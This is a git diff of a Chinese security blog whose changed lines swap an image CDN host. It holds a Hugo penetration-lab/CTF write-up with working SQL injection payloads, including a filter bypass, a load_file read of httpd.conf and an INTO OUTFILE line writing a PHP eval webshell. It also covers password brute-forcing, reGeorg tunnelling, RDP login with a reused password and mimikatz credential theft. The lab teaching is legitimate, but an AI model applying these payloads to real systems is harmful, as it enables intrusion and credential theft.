{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0414V8T7v5.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0414V8T7v5.png" >}}
配置好后iptables的情况 配置好后iptables的情况
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0414d6EqlL.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0414d6EqlL.png" >}}
拒绝没有匹配的流量 拒绝没有匹配的流量
@ -671,15 +671,15 @@ iptables -A openvswitch-s-tap1 -j DROP
iptables -A openvswitch-fallback -m comment --comment "Default drop rule for unmatched traffic." -j DROP iptables -A openvswitch-fallback -m comment --comment "Default drop rule for unmatched traffic." -j DROP
``` ```
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04143rg1o7.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04143rg1o7.png" >}}
测试内网1和内网2的连通性 测试内网1和内网2的连通性
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/041407QOTZ.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/041407QOTZ.png" >}}
ping 不通可见二层防火墙策略已经生效在刚刚定义的ipset ipv4-tap1中添加内网2的ip地址再次ping验证连通性ipset就是用来设置一个ip集合可以用来帮助配置iptables规则生效的地址集。 ping 不通可见二层防火墙策略已经生效在刚刚定义的ipset ipv4-tap1中添加内网2的ip地址再次ping验证连通性ipset就是用来设置一个ip集合可以用来帮助配置iptables规则生效的地址集。
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0414U5Ipxx.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0414U5Ipxx.png" >}}
可见可以ping通且匹配到了对应的数据包验证内网1能否修改ip mac地址 可见可以ping通且匹配到了对应的数据包验证内网1能否修改ip mac地址
@ -690,9 +690,9 @@ ip netns exec ns-tap1 ip addr del dev tap1 10.0.0.2/24
ip netns exec ns-tap1 ip addr add dev tap1 10.0.0.4/24 ip netns exec ns-tap1 ip addr add dev tap1 10.0.0.4/24
``` ```
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0414wqAuHf.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0414wqAuHf.png" >}}
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0414Ddpkz8.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0414Ddpkz8.png" >}}
可见已经不能ping通且iptables匹配到了应该丢弃的数据包 可见已经不能ping通且iptables匹配到了应该丢弃的数据包
@ -703,6 +703,6 @@ ip netns exec ns-tap1 ip addr add dev tap1 10.0.0.2/24
ip netns exec ns-tap1 ip link set dev tap1 address 16:f7:55:f5:d7:ac ip netns exec ns-tap1 ip link set dev tap1 address 16:f7:55:f5:d7:ac
``` ```
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0414Ldukmm.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0414Ldukmm.png" >}}
可见不能ping通且iptables匹配到了应该丢弃的数据包。以上两次修改说明只有iptables中指定的ip和MAC传递过来的数据包才能通过防火墙。 可见不能ping通且iptables匹配到了应该丢弃的数据包。以上两次修改说明只有iptables中指定的ip和MAC传递过来的数据包才能通过防火墙。

View File

@ -13,55 +13,55 @@ author = "Logic"
查看操作机的内网ip地址为 查看操作机的内网ip地址为
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420PR49so.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420PR49so.png" >}}
首先扫描网段中的存活主机扫描192.168.1.0/24网段得到存活主机为192.168.1.10 首先扫描网段中的存活主机扫描192.168.1.0/24网段得到存活主机为192.168.1.10
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420fO4t25.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420fO4t25.png" >}}
扫描存活主机的端口信息为 扫描存活主机的端口信息为
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420QM3q2K.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420QM3q2K.png" >}}
可见目标主机开放了80端口故推测目标主机上设有网站使用wwwscan对目标网站的后台地址进行扫描扫描结果为 可见目标主机开放了80端口故推测目标主机上设有网站使用wwwscan对目标网站的后台地址进行扫描扫描结果为
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04204551FE.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04204551FE.png" >}}
得知后台管理页面的路径,访问该页面查看内容 得知后台管理页面的路径,访问该页面查看内容
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420xX6lyR.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420xX6lyR.png" >}}
在浏览器中配置网络代理并使用burpsuite截取登陆数据包使用一般管理员的用户名admin密码随意 在浏览器中配置网络代理并使用burpsuite截取登陆数据包使用一般管理员的用户名admin密码随意
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420rGHbkF.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420rGHbkF.png" >}}
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/042099tuqn.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/042099tuqn.png" >}}
截取到了对应的数据包将其送至爆破模块中使用文件夹中的最常用100个密码的文本文件作为字典开始爆破 截取到了对应的数据包将其送至爆破模块中使用文件夹中的最常用100个密码的文本文件作为字典开始爆破
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420hPzpxO.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420hPzpxO.png" >}}
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420eHRLH9.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420eHRLH9.png" >}}
可以看到这个请求得到的返回数据包的长度与其他的不同故可断定密码为1q2w3e4r尝试使用改密码登陆后台 可以看到这个请求得到的返回数据包的长度与其他的不同故可断定密码为1q2w3e4r尝试使用改密码登陆后台
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420jU0Gtg.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420jU0Gtg.png" >}}
登陆成功flag为flag1{5d41402abc4b2a76b9719d911017c592} 登陆成功flag为flag1{5d41402abc4b2a76b9719d911017c592}
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420jU0Gtg.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420jU0Gtg.png" >}}
上传工具文件夹中的一句话木马 上传工具文件夹中的一句话木马
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420Wvgx71.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420Wvgx71.png" >}}
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420WQ9fKD.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420WQ9fKD.png" >}}
使用中国菜刀连接一句话木马 使用中国菜刀连接一句话木马
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420Ww5Hok.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420Ww5Hok.png" >}}
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420RZ8BMy.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420RZ8BMy.png" >}}
可以看到已经成功连接一句话木马并且看到了网站的后台文件夹 可以看到已经成功连接一句话木马并且看到了网站的后台文件夹
@ -70,83 +70,83 @@ author = "Logic"
尝试使用sql注入首先进入sql页面可以看到当前页面的数据是执行sql语句得来的首先尝试判断是否有sql注入使用最为经典的单引号判断法在参数后加',结果为 尝试使用sql注入首先进入sql页面可以看到当前页面的数据是执行sql语句得来的首先尝试判断是否有sql注入使用最为经典的单引号判断法在参数后加',结果为
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420gYq9u4.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420gYq9u4.png" >}}
页面返回错误故存在sql注入这是因为无论字符型还是整型都会因为单引号个数不匹配而报错。接下来判断是字符型Sql注入还是数字型sql注入。尝试在参数后添加 `id=1 and 1=1#` (末尾加#注释掉服务端构造的sql语句后面的句子),页面报错,显示有语法错误 页面返回错误故存在sql注入这是因为无论字符型还是整型都会因为单引号个数不匹配而报错。接下来判断是字符型Sql注入还是数字型sql注入。尝试在参数后添加 `id=1 and 1=1#` (末尾加#注释掉服务端构造的sql语句后面的句子),页面报错,显示有语法错误
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420tr5YP4.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420tr5YP4.png" >}}
尝试添加 `id=1 or 1=1#` ,页面显示正常 尝试添加 `id=1 or 1=1#` ,页面显示正常
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420hyG4H6.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420hyG4H6.png" >}}
故可推测网站过滤了请求中的and字符因为在sql中大小写不敏感故尝试使用大写的AND添加 `id=1 AND 1=1#` ,页面返回正常 故可推测网站过滤了请求中的and字符因为在sql中大小写不敏感故尝试使用大写的AND添加 `id=1 AND 1=1#` ,页面返回正常
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420km5WRA.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420km5WRA.png" >}}
尝试AND 1=2#页面正常返回但没有数据说明执行成功但逻辑错误应该为数字型sql注入 尝试AND 1=2#页面正常返回但没有数据说明执行成功但逻辑错误应该为数字型sql注入
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420z1dg38.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420z1dg38.png" >}}
接着尝试找出该数据表有多少列从页面数据可知该表至少有三列故从4开始尝试语句为 `id=1 order by 4#` 将4递增直到11报错显示查询失败故有10列 接着尝试找出该数据表有多少列从页面数据可知该表至少有三列故从4开始尝试语句为 `id=1 order by 4#` 将4递增直到11报错显示查询失败故有10列
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420PzAOUe.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420PzAOUe.png" >}}
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420JmByz2.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420JmByz2.png" >}}
尝试执行联合查询,请求为 `id=1 union select 1,2,3,4,5,6,7,8,9,10#` 。仍然错误且信息和and类似故可推测union及select也被过滤同样尝试使用大写来绕过 尝试执行联合查询,请求为 `id=1 union select 1,2,3,4,5,6,7,8,9,10#` 。仍然错误且信息和and类似故可推测union及select也被过滤同样尝试使用大写来绕过
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420rls06M.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420rls06M.png" >}}
使用 `id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10#` 结果为 使用 `id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10#` 结果为
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420DMJ7Jz.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420DMJ7Jz.png" >}}
故可知可以用来显示的位置为1(显示在用户ID一栏中)和3(显示在用户账号一栏中) 故可知可以用来显示的位置为1(显示在用户ID一栏中)和3(显示在用户账号一栏中)
此时我们在13位置将13替换为user()和database()。构造后的参数为 `id=1 UNION SELECT user(),2,database(),3,4,5,6,7,8,9,10#` 此时我们在13位置将13替换为user()和database()。构造后的参数为 `id=1 UNION SELECT user(),2,database(),3,4,5,6,7,8,9,10#`
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420Q0WetR.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420Q0WetR.png" >}}
可以发现用户为root数据库名为dedecmsv57utf8sp1。考虑到Apache的配置文件在centos下一般为 `/etc/httpd/conf/httpd.conf` 故可以通过load_file来读取文件的内容参数为 `id=1 UNION SELECT 1,2,load_file('/etc/httpd/conf/httpd/conf')` ,查看结果 可以发现用户为root数据库名为dedecmsv57utf8sp1。考虑到Apache的配置文件在centos下一般为 `/etc/httpd/conf/httpd.conf` 故可以通过load_file来读取文件的内容参数为 `id=1 UNION SELECT 1,2,load_file('/etc/httpd/conf/httpd/conf')` ,查看结果
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420CioQdV.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420CioQdV.png" >}}
Apache 配置文件的内容已经显示了出来因为在Apache配置文件中网站根目录一般在配置项DocumentRoot后面故我们在网页上搜索root可以找到根目录对应的内容 Apache 配置文件的内容已经显示了出来因为在Apache配置文件中网站根目录一般在配置项DocumentRoot后面故我们在网页上搜索root可以找到根目录对应的内容
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420lSwH5Y.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420lSwH5Y.png" >}}
可见网站的根目录为 `/var/www/html` 可见网站的根目录为 `/var/www/html`
我们通过INTO OUTFILE来向文件中写入一句话木马构造参数为 `id=1 UNION SELECT 1,'<?php eval($_POST[a]);?>',3,4,5,6,7,8,9,10 INTO OUTFILE '/var/www/html/myshell.php'#` 结果为 我们通过INTO OUTFILE来向文件中写入一句话木马构造参数为 `id=1 UNION SELECT 1,'<?php eval($_POST[a]);?>',3,4,5,6,7,8,9,10 INTO OUTFILE '/var/www/html/myshell.php'#` 结果为
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420jtbEvZ.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420jtbEvZ.png" >}}
根据刚才的经验我们可以知道大概率是一句话木马中某些字符被过滤掉了绕过这种字符过滤有很多方法如将字符转换为16进制将字符转换为URL编码等。这里我们尝试URL编码使用在线工具将一句话木马转换为URL编码。如下 根据刚才的经验我们可以知道大概率是一句话木马中某些字符被过滤掉了绕过这种字符过滤有很多方法如将字符转换为16进制将字符转换为URL编码等。这里我们尝试URL编码使用在线工具将一句话木马转换为URL编码。如下
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04203TgOch.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04203TgOch.png" >}}
执行,得到的结果如下 执行,得到的结果如下
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420oN3Rty.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420oN3Rty.png" >}}
可见转换出现了一些问题故我们改用16进制的形式写入一句话木马。同样使用在线转换将一句话木马转换为16进制字符串转换结果为 可见转换出现了一些问题故我们改用16进制的形式写入一句话木马。同样使用在线转换将一句话木马转换为16进制字符串转换结果为
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04208Xr2il.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04208Xr2il.png" >}}
将该16进制串传入参数发送请求 将该16进制串传入参数发送请求
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420czDYVz.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420czDYVz.png" >}}
可见写入成功,使用菜刀连接 可见写入成功,使用菜刀连接
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04204x8PrZ.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04204x8PrZ.png" >}}
填入一句话木马文件和请求参数,连接成功,查看根目录下的文件 填入一句话木马文件和请求参数,连接成功,查看根目录下的文件
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/042065oq4j.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/042065oq4j.png" >}}
可以看到flag文件查看其内容为 可以看到flag文件查看其内容为
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420QBlsDS.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420QBlsDS.png" >}}
flag为 `flag3{fd5d4d5a199e9e8bfadead5f5e52895a}` flag为 `flag3{fd5d4d5a199e9e8bfadead5f5e52895a}`
@ -155,37 +155,37 @@ flag为 `flag3{fd5d4d5a199e9e8bfadead5f5e52895a}`
查看之前扫描网站目录的结果 查看之前扫描网站目录的结果
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/042090J9xV.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/042090J9xV.png" >}}
可推测该网址为phpmyadmin的登陆页面查看该网址得到 可推测该网址为phpmyadmin的登陆页面查看该网址得到
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420ti4Yju.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420ti4Yju.png" >}}
可见确实为phpmyadmin的登陆页面phpmyadmin的默认用户名和密码均为root我们使用默认用户名和密码尝试登陆 可见确实为phpmyadmin的登陆页面phpmyadmin的默认用户名和密码均为root我们使用默认用户名和密码尝试登陆
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04203lWdV3.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04203lWdV3.png" >}}
登陆成功执行sql语句查看httpd配置文件的内容 登陆成功执行sql语句查看httpd配置文件的内容
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420VuWdjw.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0420VuWdjw.png" >}}
可见内容类型为blob打开选项显示blob内容 可见内容类型为blob打开选项显示blob内容
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04205ebZtZ.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04205ebZtZ.png" >}}
可见成功显示了httpd配置文件的内容同样通过查找找到网站的根目录为 `/var/www/html` 在localhost执行sql查询写入一句话木马到myadmin.php文件因为没有过滤故可以直接将一句话木马写入如下 可见成功显示了httpd配置文件的内容同样通过查找找到网站的根目录为 `/var/www/html` 在localhost执行sql查询写入一句话木马到myadmin.php文件因为没有过滤故可以直接将一句话木马写入如下
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421fq8RQi.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421fq8RQi.png" >}}
使用菜刀连接 使用菜刀连接
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421CZoii9.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421CZoii9.png" >}}
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421pkJKX6.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421pkJKX6.png" >}}
连接成功在phpmyadmin中打开第一个数据库根据表明搜索flag表如下 连接成功在phpmyadmin中打开第一个数据库根据表明搜索flag表如下
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421HJi37x.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421HJi37x.png" >}}
得到flag为 `flag2{912ec803b2ce49e4a541068d495ab570}` 得到flag为 `flag2{912ec803b2ce49e4a541068d495ab570}`
@ -194,46 +194,46 @@ flag为 `flag3{fd5d4d5a199e9e8bfadead5f5e52895a}`
使用菜刀上传内网扫描脚本到web的机器上内网扫描的脚本文件在工具文件夹下的web端口扫描中。为RASscan.py文件我们查看其文件内容可以得知其使用方法为 `./RASscan.py 192.168.2.1 192.168.2.254 -t 20` 使用菜刀上传内网扫描脚本到web的机器上内网扫描的脚本文件在工具文件夹下的web端口扫描中。为RASscan.py文件我们查看其文件内容可以得知其使用方法为 `./RASscan.py 192.168.2.1 192.168.2.254 -t 20`
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421UfGwRk.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421UfGwRk.png" >}}
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421irO4fv.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421irO4fv.png" >}}
使用菜刀查看上传的文件,并用菜刀打开一个虚拟终端 使用菜刀查看上传的文件,并用菜刀打开一个虚拟终端
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421vMK9Ty.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421vMK9Ty.png" >}}
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04217tkglW.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04217tkglW.png" >}}
可见文件已经成功上传,执行内网扫描脚本扫描内网 可见文件已经成功上传,执行内网扫描脚本扫描内网
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421OAzRWC.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421OAzRWC.png" >}}
由python文件的内容可知扫描结果保存在log.txt文件中使用菜刀将log.txt文件下载下来并查看 由python文件的内容可知扫描结果保存在log.txt文件中使用菜刀将log.txt文件下载下来并查看
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421IdEVgL.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421IdEVgL.png" >}}
可见扫描到了内网中的192.168.2.10 主机和192.168.2.11主机且都开放了3389端口上传reGeorg来开启代理服务查看reGeorg文件夹中的readme文件可以看到reGeorg的用法 可见扫描到了内网中的192.168.2.10 主机和192.168.2.11主机且都开放了3389端口上传reGeorg来开启代理服务查看reGeorg文件夹中的readme文件可以看到reGeorg的用法
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421JRJTk2.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421JRJTk2.png" >}}
首先上传tunnel文件到服务端这里我们选择php文件。然后上传tunnel和reGeorg文件 首先上传tunnel文件到服务端这里我们选择php文件。然后上传tunnel和reGeorg文件
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421hbD4GW.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421hbD4GW.png" >}}
在网页中访问tunnel.php文件没有响应我们使用burp suite查看返回的数据包显示500说明php代码有错误经过查阅资料可知服务端php不支持socket,注意到工具reGeorg文件夹下还有一个nosocket的php文件我们将这个文件上传到服务端访问该文件得到 在网页中访问tunnel.php文件没有响应我们使用burp suite查看返回的数据包显示500说明php代码有错误经过查阅资料可知服务端php不支持socket,注意到工具reGeorg文件夹下还有一个nosocket的php文件我们将这个文件上传到服务端访问该文件得到
![](https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421sKLn5d.png) ![](https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421sKLn5d.png)
可见tunnel成功建立在操作机上使用reGeorg设置对应的端口和tunnel文件 可见tunnel成功建立在操作机上使用reGeorg设置对应的端口和tunnel文件
![](https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421zqCGcJ.png) ![](https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421zqCGcJ.png)
可见tunnel建立成功这时已经可以使用代理来进行访问了。继续使用proxifier工具配置代理新建一个代理配置ip为127.0.0.1端口为刚才设置监听的端口这里是6677。 可见tunnel建立成功这时已经可以使用代理来进行访问了。继续使用proxifier工具配置代理新建一个代理配置ip为127.0.0.1端口为刚才设置监听的端口这里是6677。
![](https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421rWy1Fq.png) ![](https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421rWy1Fq.png)
配置代理规则这里我们将所有数据包都通过代理发送同时排除python脚本自身 配置代理规则这里我们将所有数据包都通过代理发送同时排除python脚本自身
![](https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421mU2XYe.png) ![](https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421mU2XYe.png)
通过远程桌面连接连接到192.168.2.11主机上发现我们不了解远程主机的管理员密码回想之前在尝试sql注入的时候看到过dede_admin表中的数据有两个用户账号一个是admin另外一个是administrator故很有可能是管理员密码我们在phpmyadmin中找到这个表查看其中的内容 通过远程桌面连接连接到192.168.2.11主机上发现我们不了解远程主机的管理员密码回想之前在尝试sql注入的时候看到过dede_admin表中的数据有两个用户账号一个是admin另外一个是administrator故很有可能是管理员密码我们在phpmyadmin中找到这个表查看其中的内容
![](https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421xRuJ8R.png) ![](https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421xRuJ8R.png)
可见密码为topsec.123,我们尝试使用这个密码登录,登陆成功 可见密码为topsec.123,我们尝试使用这个密码登录,登陆成功
![](https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421yTg7X9.png) ![](https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421yTg7X9.png)
查看C盘根目录下的flag文本文件的内容为 `flag4{238fb735876083b832229d279b995062}` 查看C盘根目录下的flag文本文件的内容为 `flag4{238fb735876083b832229d279b995062}`
![](https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421sHTMPD.png) ![](https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421sHTMPD.png)
### 任务五 {#任务五} ### 任务五 {#任务五}
@ -247,14 +247,14 @@ flag为 `flag3{fd5d4d5a199e9e8bfadead5f5e52895a}`
> 域控即域控制器Domain controller简称DC是指在计算机网络域内响应安全身份认证请求的网络服务器负责允许发出请求的主机访问域内资源以及对用户进行身份验证存储用户账户信息并执行域的安全策略。 > 域控即域控制器Domain controller简称DC是指在计算机网络域内响应安全身份认证请求的网络服务器负责允许发出请求的主机访问域内资源以及对用户进行身份验证存储用户账户信息并执行域的安全策略。
可见在域控主机上存储着域内所有主机的用户账户信息在验证用户身份的过程中要使用用户的账户名和密码而mimikatz这个工具的强大之处就在于通过它你可以提升进程权限注入进程读取进程内存当然他最大的亮点就是他可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码。同样也可以获取其他进程中的账户名和密码。因此结合mimikatz我们就可以得到在这个域下主机的账户名和密码。下面进行尝试。首先将mimikatz上传到目标机器上这里我们可以通过在远程桌面连接时将本地主机的硬盘挂载到连接的远程主机上来访问本地主机中的文件 可见在域控主机上存储着域内所有主机的用户账户信息在验证用户身份的过程中要使用用户的账户名和密码而mimikatz这个工具的强大之处就在于通过它你可以提升进程权限注入进程读取进程内存当然他最大的亮点就是他可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码。同样也可以获取其他进程中的账户名和密码。因此结合mimikatz我们就可以得到在这个域下主机的账户名和密码。下面进行尝试。首先将mimikatz上传到目标机器上这里我们可以通过在远程桌面连接时将本地主机的硬盘挂载到连接的远程主机上来访问本地主机中的文件
![](https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421ayUYEF.png) ![](https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421ayUYEF.png)
将mimikatz文件拷贝到远程主机的硬盘中即可。 将mimikatz文件拷贝到远程主机的硬盘中即可。
![](https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04216cKybF.png) ![](https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04216cKybF.png)
以管理员运行mimikatz 提升权限 以管理员运行mimikatz 提升权限
![](https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421JS7Hsq.png) ![](https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0421JS7Hsq.png)
